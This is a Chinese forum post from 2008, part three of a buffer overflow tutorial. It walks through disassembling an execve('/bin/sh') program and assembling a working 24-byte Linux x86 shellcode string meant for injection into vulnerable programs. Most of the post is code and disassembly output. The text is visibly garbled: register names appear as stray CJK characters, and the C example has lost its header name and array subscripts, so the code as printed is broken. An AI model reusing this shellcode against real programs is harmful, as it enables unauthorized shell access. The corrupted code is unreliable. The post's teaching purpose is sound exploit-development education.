缓冲区溢出解密三

天上风筝在天上飞 發表於 2008-10-8 19:04:05

如何执行 /bin/sh? 

在C中，spawn出一个shell的代码可能象这样： 

shell.c : 

#include 

void main() 

{ 

 char *shell; 

 shell = "/bin/sh"; 

 shell = NULL; 

 execve(shell, shell, NULL); 

} 

$ make shell 

cc -W -Wall -pedantic -g shell.c -o shell 

$ ./shell 

bash$ 

如果你看execve的man说明页($man 2 execve)，你将看到execve要求一个将要执行的文件名的指针，一个NULL终止的参数数组，和一个可以为NULL的环境指针。如果你编译运行了这个输出的二进制文件，你将看到你spawn出了一个新的shell。 

目前为止一切顺利……但是我们不能用这种方式spawn出一个shell，是吗？我们如何能用这种方式把这个代码放到漏洞程序里去呢？我们不能！ 

这给我们造成了一个新问题：我们如何能把我们的攻击代码传给漏洞程序？我们将需要在易受攻击的缓冲区传递我们的代码，它很有可能是一段shell代码。为了实现这个目标，我们必须能够把我们的shell代码用一个字符串表示。 

因此，我们将列出所有的来spawn出一个shell的汇编指令，得到它们的运算码，把它们一个一个列出来，然后把它们作为一个shell生成串组装起来。 

首先，让我们看看上面的代码(shell.c)在汇编中是什么样子。让我们静态编译程序(这个方法，execve系统调用也将被反汇编)然后看： 

$ gcc -static -g -o shell shell.c 

$ objdump -d shell | grep \: -A 12 

0804ca10 : 

804ca10: 53 pushl離 

804ca11: 8b 54 24 10 movl 0x10(%esp,1),韝 

804ca15: 8b 4c 24 0c movl 0xc(%esp,1),靫 

804ca19: 8b 5c 24 08 movl 0x8(%esp,1),離 

804ca1d: b8 0b 00 00 00movl $0xb,陎 

804ca22: cd 80 int $0x80 

804ca24: 5b popl 離 

804ca25: 3d 01 f0 ff ffcmpl $0xfffff001,陎 

804ca2a: 0f 83 00 02 00jae 804cc30 

804ca2f: 00 

804ca30: c3 ret 

804ca31: 90 nop 

$

让我们一步一步地分析这个系统调用： 

记住，在我们的main()函数里，我们写了代码： 

execve(shell, shell, NULL) 

我们传递了： 

·字符串”/bin/sh”的地址 

·NULL结尾数组的地址 

·NULL(实际上它是环境地址) 

此处，在main里面： 

$ objdump -d shell | grep \:-A 17 

08048124 : 

8048124: 55 pushl雙 

8048125: 89 e5 movl %esp,雙 

8048127: 83 ec 08 subl $0x8,%esp 

804812a: c7 45 f8 ac 92movl $0x80592ac,0xfffffff8(雙) 

804812f: 05 08 

8048131: c7 45 fc 00 00movl $0x0,0xfffffffc(雙) 

8048136: 00 00 

8048138: 6a 00 pushl$0x0 

804813a: 8d 45 f8 leal 0xfffffff8(雙),陎 

804813d: 50 pushl陎 

804813e: 8b 45 f8 movl 0xfffffff8(雙),陎 

8048141: 50 pushl陎 

8048142: e8 c9 48 00 00call 804ca10 

8048147: 83 c4 0c addl $0xc,%esp 

804814a: c9 leave 

804814b: c3 ret 

804814c: 90 nop 

在调用execve(call 804ca10 )之前，我们反序把这些参数推入到堆栈中。 

因此，如果我们回到__execve： 

我们拷贝NULL字节到EDX寄存器， 

804ca11: 8b 54 24 10 movl 0x10(%esp,1),韝 

我们拷贝以NULL结尾数组的地址到ECX寄存器， 

804ca15: 8b 4c 24 0c movl 0xc(%esp,1),靫 

我们拷贝字符串"/bin/sh"的地址到EBX寄存器 

804ca19: 8b 5c 24 08 movl 0x8(%esp,1),離 

我们为execve拷贝系统索引,即11(oxb)到EAX寄存器: 

804ca1d: b8 0b 00 00 00movl $0xb,陎 

接着变成核模式: 

804ca22: cd 80 int $0x80 

我们需要的全部就是这么多了。然而，这里还有一些问题。我们不能准确地知道NULL结束数组和”/bin/sh”字符串的地址。那么，这个怎么样？： 

xorl 陎, 陎 

pushl 陎 

pushl $0x68732f2f 

pushl $0x6e69622f 

movl %esp,離 

pushl 陎 

pushl 離 

movl %esp,靫 

cdql 

movb $0x0b,%al 

int $0x80 

让我解释一下上面的指令： 

如果你进行自身异或，你得到0，等同于NULL。这里，我们在EAX寄存器中得到一个NULL。 

xorl 陎, 陎 

接着我们把NULL推入堆栈： 

pushl 陎 

我们把字符串”//sh”推入堆栈， 

2f is / 

2f is / 

73 is s 

68 is h 

 pushl $0x68732f2f

我们把字符串”/bin”推入堆栈： 

2f is / 

62 is b 

69 is i 

6e is n 

pushl $0x6e69622f 

可以猜想，现在堆栈指针地址就象我们的NULL结尾字符串”/bin/sh”的地址。因为，从指向栈顶的指针开始，我们有了一个NULL结尾的字符串数组。因此，我们拷贝堆栈指针到EBX寄存器。这样，我们就已经把”/bin/sh”的地址放到EBX寄存器中了。 

movl %esp,離 

接着我们需要用NULL结尾的数组地址设置ECX。为此，我们在我们的堆栈中创造了一个NULL结尾的数组，与上面那个很像：首先我们PUSH一个NULL。我们不能PUSH NULL，但是我们能PUSH值为NULL的东西，回顾我们异或EAX寄存器在那我们得到了NULL，因此让我们PUSH EAX来在堆栈中得到一个NULL。 

pushl 陎 

接着，我们PUSH我们的字符串的地址到堆栈，这等同于shell： 

pushl 離 

现在我们有一个NULL结尾数组的指针，我们能够在ECX中保存它的地址： 

movl %esp,靫 

我们还需要其它什么呢？一个在EDX寄存器中的NULL。我们能movl 陎, 韝，但是我们能用一个短的指令完成这个操作：cdq。这个指令是把EAX中的符号位扩展到EDX。： 

cdql 

我们设定EAX 为0xb，这是系统调用表中的系统调用id。 

movb $0x0b,%al 

接着，我们转换到核模式： 

int 0x80 

之后，我们进到核模式，内核将调用exec函数执行我们指示给它的：/bin/sh 这样我们将进入一个交互shell……

因此，在讲了这么多以后，我们所要做的全部就是把这些汇编指令转换到一个字符串中。因此，让我们得到这些十六进制运赛码然后汇编我们的攻击代码： 

sc.c : 

char newsc[]= /* 24 bytes */ 

"\x31\xc0" /* xorl 陎,陎 */ 

"\x50" /* pushl 陎 */ 

"\x68""//sh" /* pushl $0x68732f2f */ 

"\x68""/bin" /* pushl $0x6e69622f */ 

"\x89\xe3" /* movl %esp,離 */ 

"\x50" /* pushl 陎 */ 

"\x53" /* pushl 離 */ 

"\x89\xe1" /* movl %esp,靫 */ 

"\x99" /* cdql */ 

"\xb0\x0b" /* movb $0x0b,%al */ 

"\xcd\x80" /* int $0x80 */ 

; 

main() 

{ 

} 

$ gcc -g -o sc sc.c 

$ objdump -D sc | grep \ -A13 

080494b0 : 

80494b0: 31 c0 xorl 陎,陎 

80494b2: 50 pushl陎 

80494b3: 68 2f 2f 73 68pushl$0x68732f2f 

80494b8: 68 2f 62 69 6epushl$0x6e69622f 

80494bd: 89 e3 movl %esp,離 

80494bf: 50 pushl陎 

80494c0: 53 pushl離 

80494c1: 89 e1 movl %esp,靫 

80494c3: 99 cltd 

80494c4: b0 0b movb $0xb,%al 

80494c6: cd 80 int $0x80 

80494c8: 00 00 addb %al,(陎) 

 ... 

$ 

在上面的图中，第一行是指令内存地址，接下面的行是汇编指令的运算码，这也是我们兴趣所在，而最后一行是与运算码相关的汇编指令。

 

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